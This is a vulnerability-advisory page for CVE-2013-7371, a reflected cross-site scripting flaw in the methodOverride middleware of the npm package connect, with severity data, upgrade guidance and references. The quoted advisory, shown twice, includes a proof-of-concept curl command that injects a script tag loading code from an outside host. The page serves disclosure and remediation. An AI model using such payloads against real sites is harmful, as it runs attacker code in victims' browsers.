Vulnerabilities in pkg:npm/connect

PACKAGE
Advisory Identifier: GHSA-6w62-83g6-rfhj
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Advisory Summary

CVE-2013-7371 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Connect libraries in the npm ecosystem. The issue involves node connect reflected cross-site scripting in sencha labs connect middleware. Remediation is available by upgrading affected packages to version 2.8.2.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/connect

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/connect. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-6w62-83g6-rfhj CVE-2013-7371 MODERATE Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware
GHSA-rch9-xh7r-mqgw CVE-2018-3717 MODERATE Cross-Site Scripting in connect
GHSA-3fw8-66wf-pr7m CVE-2013-7370 LOW methodOverride Middleware Reflected Cross-Site Scripting in connect

CVE-2013-7371 at a Glance

CVE Identifier CVE-2013-7371
GHSA Identifier GHSA-6w62-83g6-rfhj
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Connect
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2013-7371

To remediate this vulnerability, upgrade all affected Connect dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

connect fixed: 2.8.2 
npm install connect@2.8.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls connect

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2013-7371, inspect your project dependencies using npm:

npm ls connect

Analyze the terminal output to locate any version of Connect in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.8.2), your application is affected.

Note: The npm ls connect command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Connect, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370) ### Overview Connect is a stack of middleware that is executed in order in each request. The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override". Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot `[method]` `[url]`" content. The method was not properly encoded for output in the browser. ### Example: ``` ~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>" Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> / ``` ### Recommendation Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack. ### Credit: Sergio Arcos

CVE-2013-7371 Affected Connect Versions

1 component(s)
Fixed Versions:
2.8.2
Product / Package Ecosystem Affected Versions Fixed Version
connect
npm/connect
npm
< 2.8.2
2.8.2

References

NVD — CVE-2013-7371 NVD
https://nvd.nist.gov/vuln/detail/CVE-2013-7371
Connect Source Repository REPOSITORY
https://github.com/senchalabs/connect/issues/831
Security Fix Commit FIX COMMIT
https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a
Security Fix Commit FIX COMMIT
https://github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135
Connect Security Information SECURITY
https://access.redhat.com/security/cve/cve-2013-7371
exchange.xforce.ibmcloud.com/vulnerabilities/927... WEB
https://exchange.xforce.ibmcloud.com/vulnerabilities/92710
Connect Source Repository REPOSITORY
https://github.com/senchalabs/connect
Connect Security Information SECURITY
https://nodesecurity.io/advisories/methodOverride_Middleware_Reflected_Cross-Site_Scripting
Connect Security Information SECURITY
https://security-tracker.debian.org/tracker/CVE-2013-7371
Connect Security Information SECURITY
http://www.openwall.com/lists/oss-security/2014/04/21/2
Connect Security Information SECURITY
http://www.openwall.com/lists/oss-security/2014/05/13/1

Frequently Asked Questions

What is CVE-2013-7371?
CVE-2013-7371 is a security vulnerability in Connect involving Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Connect versions are affected?
Affected versions include releases prior to 2.8.2 across affected packages: connect.
What version fixes CVE-2013-7371?
Upgrading to 2.8.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is connect affected?
Yes, connect is affected in releases prior to 2.8.2. Upgrade your dependency to 2.8.2 or later.
What is the CVSS score of CVE-2013-7371?
CVE-2013-7371 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2013-7371?
CVE-2013-7371 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2013-7371?
Run the dependency tree command: 'npm ls connect'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6w62-83g6-rfhj",
  "modified" : "2023-08-17T22:50:28Z",
  "published" : "2022-05-05T00:29:11Z",
  "aliases" : [ "CVE-2013-7371" ],
  "summary" : "Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware",
  "details" : "node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)\n\n### Overview\nConnect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n\n### Example:\n```\n~ curl \"localhost:3000\" -d \"_method=<script src=http://nodesecurity.io/xss.js></script>\"\nCannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /\n```\n\n### Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.\n\n### Credit:\nSergio Arcos",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "connect"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2013-7371"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/senchalabs/connect/issues/831"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/cve-2013-7371"
  }, {
    "type" : "WEB",
    "url" : "https://exchange.xforce.ibmcloud.com/vulnerabilities/92710"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/senchalabs/connect"
  }, {
    "type" : "WEB",
    "url" : "https://nodesecurity.io/advisories/methodOverride_Middleware_Reflected_Cross-Site_Scripting"
  }, {
    "type" : "WEB",
    "url" : "https://security-tracker.debian.org/tracker/CVE-2013-7371"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2014/04/21/2"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2014/05/13/1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-08-17T22:50:28Z",
    "nvd_published_at" : "2019-12-11T15:15:00Z"
  }
}